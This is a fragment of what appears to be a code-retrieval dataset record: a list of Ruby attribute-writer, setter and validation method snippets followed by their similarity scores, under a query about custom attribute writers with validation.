"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
"def sanitized_allowed_attributes=(attributes); end",
"def sanitized_allowed_attributes=(attributes); end",
"def oattr(name, type)\n case type\n when :custom\n # Do nothing, just register attr below.\n when :writer\n attr_writer name\n else\n raise ArgumentError, \"Unknown type: #{type.inspect}\"\n end\n\n # Register and return.\n name.tap { oattrs << name}\n end",
"def valid_attributes\n { name: \"Expert\" }\n end",
"def attributes(*method_names, **options)\n add_attributes(method_names, **options, strategy: :write_value_using_method_strategy)\n end",
"def []=(attr_name, value)\n writer_method = \"#{attr_name}=\"\n send(writer_method, value) if respond_to?(writer_method)\n end",
"def write_extended_attributes(attrs)\n attrs.each do |k, val|\n self.send((k.to_s + \"=\").to_sym, val) if is_flex_attribute?(k)\n end\n self\n end",
"def valid_attributes\n { \"username\" => \"MyString\" }\n end",
"def cattr_writer(*fields)\n metaclass.send :attr_writer, *fields\n end",
"def write_attribute(attr, value)\n if attribute_encrypted?(attr)\n conductor_for(attr).encrypt(value)\n else\n super(attr, value)\n end\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"offsetInDays\", @offset_in_days)\n writer.write_enum_value(\"timeBasedAttribute\", @time_based_attribute)\n end",
"def define_attribute_method(attr_name, _owner: generated_attribute_methods)\n CodeGenerator.batch(_owner, __FILE__, __LINE__) do |owner|\n attribute_method_matchers.each do |matcher|\n method_name = matcher.method_name(attr_name)\n\n unless instance_method_already_implemented?(method_name)\n generate_method = \"define_method_#{matcher.target}\"\n\n if respond_to?(generate_method, true)\n send(generate_method, attr_name.to_s, owner: owner)\n else\n define_proxy_call true, owner, method_name, matcher.target, attr_name.to_s\n end\n end\n end\n attribute_method_matchers_cache.clear\n end\n end",
"def has_attributes?; end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_boolean_value(\"isExpirationRequired\", @is_expiration_required)\n writer.write_duration_value(\"maximumDuration\", @maximum_duration)\n end",
"def add_attributes(item)\n [:class, :instance].each do |attr_loc|\n # Grab attributes for the current location (class or instance)\n attrs = item.attributes[attr_loc]\n attrs.each do |name, attribute|\n reader = attribute[:read]\n writer = attribute[:write]\n\n unless reader || writer\n Logging.warn(\"attribute is not readable or writable somehow, skipping\", attribute)\n next\n end\n\n # Get all given types\n yard_types = []\n if reader\n next if @hide_private && reader.visibility == :private\n yard_types += reader.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n reader.tags('param').flat_map(&:types)\n end\n if writer\n next if @hide_private && writer.visibility == :private\n yard_types += writer.tags('return').flat_map(&:types).compact.reject { |x| x.downcase == 'void' } +\n writer.tags('param').flat_map(&:types)\n end\n\n # Use untyped if not types specified anywhere, otherwise try to\n # compute Parlour type given all these types\n if yard_types.empty?\n Logging.omit(\"no YARD type given for #{name.inspect}, using untyped\", reader || writer)\n parlour_type = Parlour::Types::Untyped.new\n elsif yard_types.all? { |x| x == 'nil' }\n # Nil attributes are extremely unusual, so just use untyped\n parlour_type = Parlour::Types::Untyped.new\n else\n parlour_type = TypeConverter.yard_to_parlour(\n yard_types, reader || writer, @type_converter_config)\n end\n\n # Generate attribute\n if reader && writer\n kind = :accessor\n elsif reader\n kind = :reader\n elsif writer\n kind = :writer\n end\n\n if @exclude_untyped && parlour_type.is_a?(Parlour::Types::Untyped)\n Logging.omit(\"excluding untyped attribute\", reader || writer, immediate: true)\n next\n end\n\n case @mode\n when :rbi\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n class_attribute: (attr_loc == :class)\n ) do |m|\n add_comments(reader || writer, m)\n end\n when :rbs\n if attr_loc == :class\n # RBS doesn't support class attr_accessors so create individual methods\n\n if reader\n @current_object.create_method(\n name.to_s,\n [Parlour::RbsGenerator::MethodSignature.new([], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(reader, m)\n end\n end\n\n if writer\n @current_object.create_method(\n \"#{name}=\",\n [Parlour::RbsGenerator::MethodSignature.new([Parlour::RbsGenerator::Parameter.new(\n \"value\",\n type: parlour_type,\n required: true\n )], parlour_type)],\n class_method: true\n ) do |m|\n add_comments(writer, m)\n end\n end\n else\n @current_object.create_attribute(\n name.to_s,\n kind: kind,\n type: parlour_type,\n ) do |m|\n add_comments(reader || writer, m)\n end\n end\n end\n end\n end\n end",
"def []=(attr_name, value)\r\n if attr_name.is_a?(String) and attr_name != attr_name.split(ID_SEP).first\r\n attr_name = attr_name.split(ID_SEP)\r\n end\r\n\r\n if attr_name.is_a? Array\r\n value = value.split(ID_SEP) if value.is_a? String\r\n unless value.length == attr_name.length\r\n raise \"Number of attr_names and values do not match\"\r\n end\r\n #breakpoint\r\n [attr_name, value].transpose.map {|name,val| write_attribute(name.to_s, val)}\r\n else\r\n write_attribute(attr_name, value)\r\n end\r\n end",
"def attr(symbol, writable=false) end",
"def validate\n validate_string_attributes\n end",
"def define_writer!(k, definition)\n define_method(\"#{k}=\") do |value|\n # Recursively convert hash and array of hash to schematized objects\n value = ensure_schema value, definition[:schema]\n\n # Initial value\n instance_variable_set \"@#{k}\", value\n\n # Dirty tracking\n self.changed_attributes ||= Set.new\n self.changed_attributes << k\n end\n end",
"def write_attribute_with_dynamo(field_name, value)\n if is_dynamo_field?(field_name)\n # Store these guys for now. We don't actually save the field value until the model is saved ( i.e my_supplier.save ).\n # If we were to save the field_value now we wouldn't be able to know the id of the model to link this value to it.\n # @see delay_save\n @all_fields_and_values ||= []\n @all_fields_and_values << {:dynamo_field=>cached_dynamo_field_by_name(field_name), :value=>value}\n end\n # If its a 'normal' attribute let rails write it in the usual way.\n write_attribute_without_dynamo(field_name, value)\n end",
"def validate_attribute_syntax\n\t\[email protected] do |attribute, values|\n\t\t\t[ values ].flatten.each do |value|\n\t\t\t\tbegin\n\t\t\t\t\tself.get_converted_attribute( attribute.to_sym, value )\n\t\t\t\trescue => err\n\t\t\t\t\tself.log.error \"validation for %p failed: %s: %s\" %\n\t\t\t\t\t\t[ attribute, err.class.name, err.message ]\n\t\t\t\t\tattrtype = self.find_attribute_type( attribute )\n\t\t\t\t\tself.errors.add( attribute, \"isn't a valid %s value\" %\n\t\t\t\t\t\t[ attrtype.syntax ? attrtype.syntax.desc : attrtype.syntax_oid ] )\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_collection_of_object_values(\"attributeMappings\", @attribute_mappings)\n writer.write_boolean_value(\"enabled\", @enabled)\n writer.write_enum_value(\"flowTypes\", @flow_types)\n writer.write_collection_of_object_values(\"metadata\", @metadata)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"@odata.type\", @odata_type)\n writer.write_object_value(\"scope\", @scope)\n writer.write_string_value(\"sourceObjectName\", @source_object_name)\n writer.write_string_value(\"targetObjectName\", @target_object_name)\n writer.write_additional_data(@additional_data)\n end",
"def define_attr_accessor(attr)\n attr_accessor(attr)\n end",
"def valid_attributes\n { }\n end",
"def validatable_attributes(atts, opts)\n am, an, ab, m = opts.values_at(:allow_missing, :allow_nil, :allow_blank, :message)\n Array(atts).each do |a|\n next if am && !values.has_key?(a)\n v = send(a)\n next if an && v.nil?\n next if ab && v.respond_to?(:blank?) && v.blank?\n if message = yield(a, v, m)\n errors.add(a, message)\n end\n end\n end",
"def valid_attributes\n { }\n end",
"def valid_attributes\n { }\n end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def attribute_name=(_arg0); end",
"def require_attr(name)\n send(name).tap do |_|\n raise \"Attribute must be set: #{name}\" if _.nil?\n end\n end",
"def write_attributes(attributes)\n _attributes = attributes.select do |name, value|\n if self.is_dynamic_field?(name)\n self.dynamic_setter(name, value)\n false\n else\n true\n end\n end\n\n super(_attributes)\n end",
"def method_missing(method_name, *args)\n method_match, attribute_name, equal_sign = method_name.to_s.match(/\\A([^=]+)(=)?\\Z/).to_a\n if attribute_name && self.class.valid_attributes.include?(attribute_name.to_sym)\n if equal_sign \n attributes[attribute_name.to_sym] = args.first\n else\n attributes[attribute_name.to_sym]\n end\n else\n super\n end\n end",
"def attribute; end"
] | [
"0.6469466",
"0.63154924",
"0.63154924",
"0.62801963",
"0.6276904",
"0.6209469",
"0.6185987",
"0.6180369",
"0.6069702",
"0.60325414",
"0.5996202",
"0.5990781",
"0.59591186",
"0.5935022",
"0.59287345",
"0.5892344",
"0.58594006",
"0.58489454",
"0.5847319",
"0.5844102",
"0.58309245",
"0.58234525",
"0.5821743",
"0.578401",
"0.57033354",
"0.56943",
"0.5678991",
"0.5676746",
"0.566351",
"0.56564575",
"0.56547743",
"0.5639536",
"0.56198114",
"0.561275",
"0.56096065",
"0.5598718",
"0.55965704",
"0.5595575",
"0.55836296",
"0.5583188",
"0.5582274",
"0.5568424",
"0.5566351",
"0.5564544",
"0.5563798",
"0.556157",
"0.5559787",
"0.5559787",
"0.55586964",
"0.55549264",
"0.55549264",
"0.55371714",
"0.5533541",
"0.55256367",
"0.5525553",
"0.55208707",
"0.5504545",
"0.5498023",
"0.5494999",
"0.54942703",
"0.5463716",
"0.5460371",
"0.545971",
"0.54507726",
"0.544683",
"0.544683",
"0.54346514",
"0.5431235",
"0.5431235",
"0.54237705",
"0.5420334",
"0.54133177",
"0.5408093",
"0.54058015",
"0.540229",
"0.53987634",
"0.53976214",
"0.5389599",
"0.5381615",
"0.537715",
"0.5374951",
"0.5372736",
"0.5369188",
"0.536673",
"0.53626937",
"0.5361245",
"0.5357287",
"0.5349714",
"0.5349563",
"0.53483653",
"0.53470504",
"0.5343208",
"0.5329236",
"0.5329236",
"0.53199697",
"0.53199697",
"0.53199697",
"0.5319374",
"0.53168637",
"0.53128254",
"0.53120893"
] | 0.0 | -1 |
Custom attribute writer method with validation | def last_name=(last_name)
if last_name.nil?
fail ArgumentError, "last_name cannot be nil"
end
if last_name.to_s.length > 30
fail ArgumentError, "invalid value for 'last_name', the character length must be smaller than or equal to 30."
end
@last_name = last_name
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def attr_writer_tag(text); end",
"def allowed_attributes=(_arg0); end",
"def allowed_attributes=(_arg0); end",
"def writer(*args)\n attr_writer(*args)\n args\n end",
"def define_write_method(attr_name)\n evaluate_attribute_method attr_name, \"def #{attr_name}=(new_value);write_attribute('#{attr_name}', new_value);end\", \"#{attr_name}=\"\n end",
"def attr_writer(*vars)\n # avoid tracking attributes that are added by the class_attribute\n # as these are class attributes and not instance attributes.\n tracked_vars = vars.reject {|var| respond_to? var }\n add_tracked_attrs(false, true, *tracked_vars)\n vars.extract_options!\n super\n end",
"def attr_writer(sym, *more) end",
"def is_attribute?; end",
"def validate_exclusion_of(attr); end",
"def register_attributes\n raise \"Not implemented in #{self.class}\"\n end",
"def method_missing(method_name, *args)\n return super unless permitted_attributes.include?(method_name)\n begin\n object.send(:\"#{method_name}=\", args.first)\n rescue => e\n if params.has_key?(method_name)\n message = \"Unable to process value for :#{method_name}, no attribute writer. Be sure to override the automatic setters for all params that do not map straight to a model attribute.\"\n Rails.logger.warn({message: message,\n missing_writer: method_name,\n value: args.first,\n error: e})\n self.errors << {status: 422, message: message}\n else\n raise e\n end\n end\n end",
"def timeliness_validation_for(attr_names, type)\n super\n attr_names.each { |attr_name| define_timeliness_write_method(attr_name) }\n end",
"def create_setter_for(attribute, options)\n setter_method = \"#{attribute}=\"\n\n define_method setter_method do |value|\n if options[:allow_blank] || value != \"\"\n write_attribute(attribute, value)\n end\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each {|attr_name| attr_internal_define(attr_name, :writer)}\n end",
"def escape_attr input\n escape input, attr_regexp, attr_mapping\n end",
"def make_writer( attrtype )\n\t\tself.log.debug \"Generating an attribute writer for %p\" % [ attrtype ]\n\t\tattrname = attrtype.name\n\t\tif attrtype.single?\n\t\t\tself.log.debug \" attribute is SINGLE, so generating a scalar writer...\"\n\t\t\treturn lambda {|newvalue| self[attrname] = newvalue }\n\t\telse\n\t\t\tself.log.debug \" attribute isn't SINGLE, so generating an array writer...\"\n\t\t\treturn lambda {|*newvalues| self[attrname] = newvalues.flatten }\n\t\tend\n\tend",
"def write_attribute(name, value)\n # Simply check if the accessor is allowed to write the field\n # (if so, go to superclass and do it)\n @bypass_auth ||= false\n if allowed_to_write(name) || @bypass_auth\n super(name, value)\n end\n end",
"def mattr_writer(*syms, &proc)\n receiver = self\n options = syms.extract_options!\n syms.each do |sym|\n raise NameError.new('invalid attribute name') unless sym =~ /^[_A-Za-z]\\w*$/\n class_exec do\n define_singleton_method \"#{sym}=\" do |obj|\n class_variable_set(\"@@#{sym}\", obj)\n end\n end\n\n unless options[:instance_writer] == false || options[:instance_accessor] == false\n class_exec do\n define_method \"#{sym}=\" do |obj|\n receiver.class_variable_set(\"@@#{sym}\", obj)\n end\n end\n end\n send(\"#{sym}=\", proc.call) if proc\n end\n end",
"def write_attribute(attribute, value)\n false\n end",
"def add_attribute attribute\n return attribute unless @document_self\n\n # mainly to check for redefinition of an attribute as a method\n # TODO find a policy for 'attr_reader :foo' + 'def foo=()'\n register = false\n\n key = nil\n\n if attribute.rw.index 'R' then\n key = attribute.pretty_name\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name + '='] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if attribute.rw.index 'W' then\n key = attribute.pretty_name + '='\n known = @methods_hash[key]\n\n if known then\n known.comment = attribute.comment if known.comment.empty?\n elsif registered = @methods_hash[attribute.pretty_name] and\n RDoc::Attr === registered then\n registered.rw = 'RW'\n else\n @methods_hash[key] = attribute\n register = true\n end\n end\n\n if register then\n attribute.visibility = @visibility\n add_to @attributes, attribute\n resolve_aliases attribute\n end\n\n attribute\n end",
"def define_writer_method(mod)\n writer_method_name = \"#{name}=\"\n attribute = self\n\n mod.send(:define_method, writer_method_name) { |value| attribute.set(self, value) }\n mod.send(writer_visibility, writer_method_name)\n\n self\n end",
"def allowed_to_write(name)\n # no point allowing attribute writes if we can't save them?\n if allowed_to_save\n name = name.to_s\n validation_methods = self.class.write_validations(name) \n if validation_methods.nil?\n # We haven't registered any filters on this attribute, so allow the write.\n true\n elsif validation_methods.check :accessor => accessor, :model => self\n # One of the authentication methods worked, so allow the write.\n true\n else\n # We had filters but none of them passed. Disallow write.\n false\n end\n else\n false\n end\n end",
"def assert_attr_writer(obj, method)\n assert_respond_to obj, \"#{method}=\"\nend",
"def add_attribute(name, &block); end",
"def authenticates_writes_to(attr, options={})\n authenticates_access\n @write_validation_map ||= {}\n @write_validation_map[attr.to_s] ||= AuthMethodList.new\n @write_validation_map[attr.to_s].add_method(options)\n end",
"def write_attribute_3(param1, param2)\n\twrite_attribute(param1, param2)\n end",
"def write_attribute(attr_name, value) #:doc:\n @attributes[attr_name] = empty_string_for_number_column?(attr_name, value) ? nil : value\n end",
"def add_writer_tags(klass, new_method, member)\n member_tag = member_tag_for_member(klass, member, :write)\n return_type = return_type_from_tag(member_tag)\n setter_doc_text = member_tag ? member_tag.text : \"Sets the attribute #{member}\"\n new_method.docstring.replace(setter_doc_text)\n new_method.add_tag YARD::Tags::Tag.new(:param, \"the value to set the attribute #{member} to.\", return_type, \"value\")\n new_method.add_tag YARD::Tags::Tag.new(:return, \"the newly set value\", return_type)\n end",
"def print_attribute(*) end",
"def attribute(name); end",
"def add_checked_attribute(clazz, attribute)\r\n eval <<END\r\n class #{clazz}\r\n\r\n def #{attribute}=(value)\r\n raise 'Invalid attribute' unless value\r\n @#{attribute}=value\r\n end\r\n\r\n def #{attribute}\r\n #{attribute}\r\n end\r\n end\r\nEND\r\nend",
"def attr(name); end",
"def is_attribute?(line)\n (line =~ /(\\s+)attr_(writer|reader|accessor)\\s+:[a-zA-Z_0-9]+/) == 0\n end",
"def attribute(name, value)\n\t if !@inStartTag\n\t\traise WriterError.new('attribute outside of tag start')\n\t end\n\t @io << \" #{name}=\\\"#{NQXML.encode(value.to_s)}\\\"\"\n\tend",
"def set_attribute(name, value); end",
"def dataset_writer(*attributes)\n attributes.flatten.each do |attr_name|\n next if method_defined?(\"#{attr_name}=\")\n\n class_eval <<-RUBY, __FILE__, __LINE__ + 1\n def #{attr_name}=(value)\n dataset_set(:#{attr_name}, value)\n end\n RUBY\n end\n end",
"def validated_attribute_names(params); end",
"def require_format_of(attribute)\r\n RequireFormatOf.new(attribute)\r\n end",
"def attr_writer(*fields)\n check_fields(fields)\n added_fields = jiak.data.writable(*fields)\n added_fields.each do |field|\n class_eval <<-EOM\n def #{field}=(val)\n @jiak.object.data.#{field} = val\n self.class.do_auto_update(self)\n end\n EOM\n end\n nil\n end",
"def html_attr(*attrs)\n options = attrs.extract_options!.reverse_merge({\n :level => :super_relaxed\n })\n attrs.each do |att|\n class_eval \"def #{att}=(val); self[:#{att}] = sanitize(val, :#{options[:level]}); end\"\n end\n end",
"def validate_attributes=(new_attribute)\n @validate_attributes = new_attribute\n end",
"def html_attributes(attr); end",
"def instance_write(attr, value)\n setter = :\"#{@name_string}_#{attr}=\"\n instance.send(setter, value) if instance.respond_to?(setter)\n end",
"def valid_xml_attribute(name, options={:level => :warning})\n\t\t\t\tvalidate(\"Invalid XML attribute '#{name}'\", options) { name.to_s.match(/^([^[:punct:]0-9<>]|_)[^<>\"']*/) }\n\t\t\tend",
"def attr_writer(*args)\n sym_args=args_to_sym(args)\n sym_args.each do |value|\n self.instance_eval(\"def #{value}=(arg); @#{value}=arg;end;\")\n end\n \n end",
"def define_writer_method(attribute, method_name, visibility)\n define_method(method_name) { |value| attribute.set(self, value) }\n send(visibility, method_name)\n self\n end",
"def write_attribute(name, val)\n if @embedded_models.include? name\n @embedded_models[name].model = val\n elsif @attribute_objects.include? name\n @attribute_objects[name].value = val\n else\n return false\n end\n\n run_callbacks :attribute_change\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { \"name\" => \"MyString\" }\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def valid_attributes\n { body: \"blah\",\n rule_text: 'Something',\n change_description: \"blaa\"}\n end",
"def attr; end",
"def attribute(*args)\n define_expressions(Attribute, args)\n end",
"def write_attribute(name, value)\n name = name.to_s\n\n # The attribute already has an unsaved change.\n if attribute_changed?(name)\n old = changed_attributes[name]\n changed_attributes.delete(name) unless field_changed?(name, old, value)\n else\n attribute_will_change(name) if field_changed?(name, old, value)\n end\n\n # Carry on.\n super(name, value)\n end",
"def define_magic_attr(name)\n define_method name do |*attrs|\n raise ArgumentError.new(\"wrong number of arguments\") if attrs.size > 1\n send(\"#{name}=\", attrs.first) if attrs.size == 1\n instance_variable_get(\"@#{name}\")\n end\n\n attr_writer name\n end",
"def configurable_writer(attribute, code=nil, &block)\n if block_given? and not code\n Halcyon.class.send(:define_method, :\"#{attribute}=\", block)\n elsif code and not block_given?\n Halcyon.class.send(:eval, <<-\"end;\")\n def #{attribute.to_s}=(value)\n #{code % [attribute.to_sym.inspect]}\n end\n end;\n else\n raise ArgumentError.new(\"Either a block or a code string should be supplied.\")\n end\n end",
"def method_missing(name, *args, &block)\n if /\\Ahas_validated_(?<type>\\w*)_attribute\\Z/ =~ name\n has_validated_attribute(type, *args, &block)\n else\n super\n end\n end",
"def add_checked_attribute(klass, attribute)\n klass.class_eval do\n define_method attribute do\n instance_variable_get(\"@#{attribute}\")\n end\n\n define_method \"#{attribute}=\" do |value|\n raise 'Invalid attribute' unless value\n \n instance_variable_set(\"@#{attribute}\", value)\n end\n end\nend",
"def method_missing(meth, *args, &blk)\n match = meth.to_s.match(/^([a-zA-Z\\_]+)(=|$)$/)\n if match\n attribute, setter = match[1], !match[2].blank?\n if setter\n write_attribute(attribute, args.first)\n else\n read_attribute(attribute)\n end\n else\n super(meth, *args, &blk)\n end\n end",
"def valid_attributes\n { name: 'do this' }\n end",
"def make_attributes_definitions_or_croak(attrArgs, &attrBlok)\n eye = :'m_attrs_defs'\n\n # Work with attribute as strings\n \n $DEBUG && logger_me(eye, logger_fmt_kls(:attrArgs => attrArgs, :attrBlok => attrBlok))\n\n mustbe_attributes_specification_or_croak(attrArgs, eye, \"attrArgs not attributes_specification\")\n \n #STOPATTRARGSINSUPER\n \n #attrAll = mustbe_not_empty_or_croak(mustbe_array_key_or_nil_or_croak(attrArgs, :all, eye, \"all attributes not array\"), eye, \"all attributes is empty\").map(&:to_s)\n attrAll = mustbe_not_empty_or_croak(mustbe_attributes_specification_all_key_or_croak(attrArgs, :all, eye), eye, \"all attributes is empty\").map(&:to_s)\n \n\n #puts(\"\\n\\n\\nATTR ALL >#{attrAll}<\")\n\n #STOPMAKEATTRSPECSENTRY\n\n attrInc = mustbe_attributes_specification_include_key_or_nil_or_croak(attrArgs, :include, eye) # mustbe all strings\n #puts(\"ATTR INC >#{attrInc.class}< >#{attrInc}< >#{is_value_not_empty?(attrInc)}<\")\n attrInc && mustbe_not_empty_or_croak(attrInc, eye, \"include attributes is empty\")\n\n attrExc = mustbe_attributes_specification_exclude_key_or_nil_or_croak(attrArgs, :exclude, eye) || []\n \n attrMapNom = mustbe_attributes_definitions_key_or_nil_or_croak(attrArgs, :definitions, eye) || {}\n attrMap = attrMapNom && potrubi_util_map_hash_kv(attrMapNom) {|k,v| [k.to_s, v]} # keys all strings\n\n # Ensure all consistent\n \n attrInc && mustbe_subset_or_croak(attrInc, attrAll, eye, \"include attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrExc, attrAll, eye, \"exclude attributes contains unknown attributes\")\n mustbe_subset_or_croak(attrMap.keys, attrAll, eye, \"attribute map contains unknown attributes\")\n \n attrUse = ((attrInc || attrAll) - attrExc).uniq # list of unique attributes to report on\n\n # consolidate \"faked up\" attr specs with ones provided to get the composite attrSpecs\n \n attrDefsNom = potrubi_util_array_to_hash(attrUse).merge(attrMap.select {|k,v| attrUse.include?(k)}) # consolidated \"faked up\" attr specs with ones provided\n\n attrDefs = potrubi_util_map_hash_v(attrDefsNom) do | attrName, attrSpecNom|\n\n attrSpec =\n case attrSpecNom\n when NilClass then {}\n when Hash then\n attrSpecNom.each_with_object({}) do | (verbName, verbSpec), h1 |\n case verbName\n when :pass_thru then h1[:pass_thru] = verbSpec # dont touch; just pass through\n when :event_defaults then # add these to pass_thru\n h1[:pass_thru] = (h1[:pass_thru] || {}).merge(verbName => verbSpec)\n when :map, :select, :metric then\n h1[verbName] = {\n :method_name => \"#{verbName}_#{attrName}_#{rand(1000000)}\", # make a unqiue name\n :method_spec => verbSpec # spec must be valid to dynamic_define_methods\n }\n else\n logic_exception(verbName, eye, \"attrName >#{attrName}< verbName >#{verbName}< value should be impossible\")\n end\n end\n \n else\n logic_exception(attrrSpecNom, eye, \"attrSpecNom value should be impossible\")\n end\n\n attrSpec\n \n end\n \n $DEBUG && logger_mx(eye, logger_fmt_kls(:attrDefs => attrDefs))\n\n mustbe_attributes_definitions_or_croak(attrDefs, eye, \"attrDefs failed contract\")\n\n #STOPMAKEATTRSPECS\n \n end",
"def create_writer(klass, member)\n # We want to convert these members into attributes just like\n # as if they were declared using attr_accessor.\n new_meth = register MethodObject.new(klass, \"#{member}=\", :instance) do |o|\n o.parameters = [['value', nil]]\n o.signature ||= \"def #{member}=(value)\"\n o.source ||= \"#{o.signature}\\n @#{member} = value\\nend\"\n end\n add_writer_tags(klass, new_meth, member)\n klass.attributes[:instance][member][:write] = new_meth\n end",
"def create_setter!\n @target.class_eval <<-EOS\n #{writer_visibility.to_s}\n def #{name}=(value)\n attribute_set(#{name.inspect}, value)\n end\n EOS\n rescue SyntaxError\n raise SyntaxError.new(column)\n end",
"def attribute name, type, conditions= DEFAULT_ATTRIBUTE_CONDITIONS\n RMOF.complete_conditions conditions, DEFAULT_ATTRIBUTE_CONDITIONS\n @attributes= {} unless instance_variable_defined? :@attributes\n @attributes[name]= [name, type, conditions]\n unless method_defined? :__attributes then \n define_method( :__attributes) do \n @attributes\n end \n end\n at= \"@#{name}\".to_sym\n getter= \"#{name}\".to_sym\n setter= \"#{name}=\".to_sym\n completion= \"__complete_#{name}\".to_sym\n define_method( getter) do\n if instance_variable_defined? at then instance_variable_get at\n else conditions[:default]\n end\n end\n define_method( setter) do |val|\n instance_variable_set at, val\n end\n define_method( completion) do\n RMOF.validate( self.send(getter), name, type, conditions)\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def attr_internal_writer(*attrs)\n attrs.each do |attr|\n module_eval \"def #{attr}=(v) #{attr_internal_ivar_name(attr)} = v end\"\n end\n end",
"def create_setter(name, meth)\n define_method(\"#{meth}=\") do |value|\n write_attribute(name, value)\n end\n end",
